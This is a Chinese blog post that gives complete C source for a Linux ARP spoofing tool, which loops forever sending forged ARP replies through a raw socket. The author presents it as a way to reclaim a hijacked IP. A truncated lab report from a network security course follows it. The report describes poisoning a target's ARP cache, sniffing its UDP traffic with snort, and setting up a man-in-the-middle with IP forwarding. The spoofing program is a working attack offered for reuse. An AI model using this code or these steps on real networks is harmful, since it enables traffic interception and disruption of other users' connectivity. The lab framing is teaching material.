linux下ARP欺骗程序

    很久以前写的一个arp reply程序,关键时刻有时能派上用场,保存一下。有次自己服务器的IP不知道被哪个组的抢了,导致上不了网,而网管又找不到是哪台服务器。实在没有办法,只用用此程序夺回了自己的IP。

注意这里IP地址和MAC地址都是假的。
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <net/ethernet.h>
  4. #include <netinet/if_ether.h>
  5. #include <netinet/in.h>
  6. #include <sys/socket.h>
  7. #define SRC_IP "238.221.236.83"
  8. #define TARGET_IP "238.221.236.119"
  9. short SRC_MAC[]={0x00,0x03,0x1A,0x01,0x00,0x00};
  10. short TARGET_MAC[]={0x00,0x12,0x25,0x9D,0xC1,0xF0};
  11. void send_arp_reply(void);
  12. int main(int argc ,char *args[])
  13. {
  14.     while(1)
  15.     {
  16.         send_arp_reply();
  17.         sleep(30);
  18.     }
  19.     return 0;
  20. }
  21. void send_arp_reply(void)
  22. {
  23.     struct ether_header *eth_hdr;
  24.     struct ether_arp *arp;
  25.     char datagram[60];
  26.     eth_hdr=(struct ether_header *)datagram;
  27.     memset(datagram,0,sizeof(datagram));
  28.     //set the ethernet header
  29.     eth_hdr->ether_dhost[0]=TARGET_MAC[0];
  30.     eth_hdr->ether_dhost[1]=TARGET_MAC[1];
  31.     eth_hdr->ether_dhost[2]=TARGET_MAC[2];
  32.     eth_hdr->ether_dhost[3]=TARGET_MAC[3];
  33.     eth_hdr->ether_dhost[4]=TARGET_MAC[4];
  34.     eth_hdr->ether_dhost[5]=TARGET_MAC[5];
  35.     eth_hdr->ether_shost[0]=SRC_MAC[0];
  36.     eth_hdr->ether_shost[1]=SRC_MAC[1];
  37.     eth_hdr->ether_shost[2]=SRC_MAC[2];
  38.     eth_hdr->ether_shost[3]=SRC_MAC[3];
  39.     eth_hdr->ether_shost[4]=SRC_MAC[4];
  40.     eth_hdr->ether_shost[5]=SRC_MAC[5];
  41.     eth_hdr->ether_type=htons(ETHERTYPE_ARP);
  42.     //set the arp header 
  43.     arp=(struct arp*)(datagram+sizeof(struct ether_header));    
  44.     arp->arp_hrd=htons(ARPHRD_ETHER);
  45.     arp->arp_pro=htons(ETHERTYPE_IP);
  46.     arp->arp_hln=6;
  47.     arp->arp_pln=4;
  48.     arp->arp_op=htons(2);
  49.     //arp body
  50.     //sender MAC and IP
  51.     memcpy((void*)arp->arp_sha,(void*)eth_hdr->ether_shost,6);
  52.     struct in_addr inadd_sender;
  53.     inet_aton(SRC_IP,&inadd_sender);
  54.     memcpy((void*)arp->arp_spa,(void*)&inadd_sender,4);
  55.     //target MAC and IP
  56.     memcpy((void*)arp->arp_tha,(void*)eth_hdr->ether_dhost,6);
  57.     struct in_addr inadd_target;
  58.     inet_aton(TARGET_IP,&inadd_target); 
  59.     memcpy((void *)arp->arp_tpa,(void*)&inadd_target,4);
  60.     //establish socket
  61.     int fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP));
  62.     if(fd<0)
  63.     {
  64.         perror("socket");
  65.         exit(-1);
  66.     }
  67.     struct sockaddr sa;
  68.     strcpy(sa.sa_data,"eth0");
  69.     sendto(fd,datagram,sizeof(datagram),0,&sa,sizeof(sa));
  70.     
  71.     close(fd);
  72.     return ;
  73. }

具体报文格式参考:<<TCP/IP详解>> 一书

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
《计算机网络安全》实验报告 实验名称: arp欺骗 提交报告时间: 年 月 日 1. 实验目的 程序实现ARP欺骗,对ARP欺骗进行进一步的认识并提出防范措施。 2. 系统环境 主机1 windows系统 主机2 windows系统 主机3 linux操作系统 3. 网络环境 同一网段下的网络 四、实验步骤与实验结果 将主机A、C、E为一组,B、D、F为一组。实验角色说明如下: "实验主机 "实验角色 " "主机A、B "目标主机一/Windows " "主机C、D "黑客主机/Linux " "主机E、F "目标主机二/Windows " 首先使用"快照X"恢复Windows/Linux系统环境。 一.ARP欺骗攻击 实验需求: (1)本实验使用交换网络结构(参见附录B),组一、二和三间通过交换模块连接(主 机A、C、E通过交换模块连接,主机B、D、F也通过交换模块连接)。因此,正常情况下 ,主机C无法以嗅探方式监听到主机A与主机E间通信数据,同样主机D也无法监听到主机 B与主机F间的通信数据。 (2)主机C要监听主机A和主机E间的通信数据;主机D要监听主机B与主机F间的通信数据 。 分析: 黑客主机通过对目标主机进行ARP欺骗攻击,获取目标主机间的通信数据。 1.正常通信 图6-1-1 目标主机正常通信示意图 (1)目标主机二单击工具栏"UDP工具"按钮,启动UDP连接工具,创建2513/udp服务端。 主机1发送数据 (2)目标主机一启动UDP连接工具,将"目标机器"IP地址指定为目标主机二的地址,目 标端口与服务器一致。在"数据"文本框中输入任意内容,单击"发送"按钮,向服务端发 数据。服务端确定接收到数据。 主机2接收到数据 (3)黑客主机单击工具栏"控制台"按钮,切换至/opt/ExpNIC/NetAD- Lab/Tools/ids目录(Snort目录),命令如下: 主机3 通过上述命令snort仅会监听源IP地址为目标主机一的、传输协议类型为UDP的网络 数据(详细的snort使用命令见实验10|练习一)。 (4)目标主机一再次向目标主机二发送消息,黑客主机停止snort监听(Ctrl+C),观 察snort监听结果,是否监听到目标主机间的通信数据。为什么? 主机1向主机2发送消息 主机3不能监听到主机1发送到的数据 因为命令snort只会监听源IP地址为目标主机一的、传输协议类型为UDP的网络数据,并 不能截获数据 (5)目标主机一查看ARP缓存表,确定与目标主机二的IP相映射的MAC地址是否正常。 此时主机1arp缓存正常 2.ARP攻击 图6-1-2 ARP攻击示意图 (1)黑客主机单击平台工具栏"控制台"按钮,进入实验目录,运行ARPattack程序攻击 目标主机一,将其ARP缓存表中与目标主机二相映射的MAC地址更改为黑客主机的MAC地址 ,命令如下: 其中第一个参数为被攻击主机IP地址,第二个参数为被攻击主机MAC地址,第三个 参数为与被攻击主机进行正常通信的主机IP地址。 通过上述命令在目标主机一的ARP缓存表中,与目标主机二IP相绑定的MAC被更改为黑客 主机MAC。 (2)黑客主机启动snort,同样监听源IP地址为目标主机一的、传输协议类型为UDP的网 络数据。 (3)目标主机一继续向目标主机二发送数据,目标主机二是否接收到数据?目标主机间 的通信是否正常?黑客主机停止snort监听,观察snort监听结果,是否监听到目标主机 间的通信数据。为什么?主机2不能接收到数据,通信不正常 主机1发送数据"ee" 主机三监听到发送的数据"ee" 因为运行ARPattack程序攻击目标主机一,将其ARP缓存表中与目标主机二相映射的M AC地址更改为黑客主机的MAC地址,主机3已经截获了主机1发给主机2的数据;命令snor t会监听源IP地址为目标主机一的、传输协议类型为UDP的网络数据。 (4)目标主机一查看ARP缓存表,确定与目标主机二的IP相映射的MAC地址是否正常。 Ip为主机2ip,但MAC已经改成黑客主机的MAC地址了 3.单向欺骗 正如步骤2中所示的实验现象,在黑客实施了简单的ARP攻击后,目标主机二会接收不到 目标主机一的消息,在接下来的时间里目标主机一、二很容易会对网络状况产生怀疑。 他们会去查看并修改ARP缓存表。所以应尽量减少目标主机由于受到ARP攻击而表现出的 异常,将黑客主机做为"中间人",将目标主机一发送的数据转发给目标主机二,是一种 很可行的方法。 图6-1-3 ARP单向欺骗示意图 (1)黑客主机开启路由功能,具体操作如下: 在控制台中输入命令:echo 1 >/proc/sys/net/ipv4/ip_forward 主机3 (2)黑客主机捕获来自目标主机一的数据包,并将

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值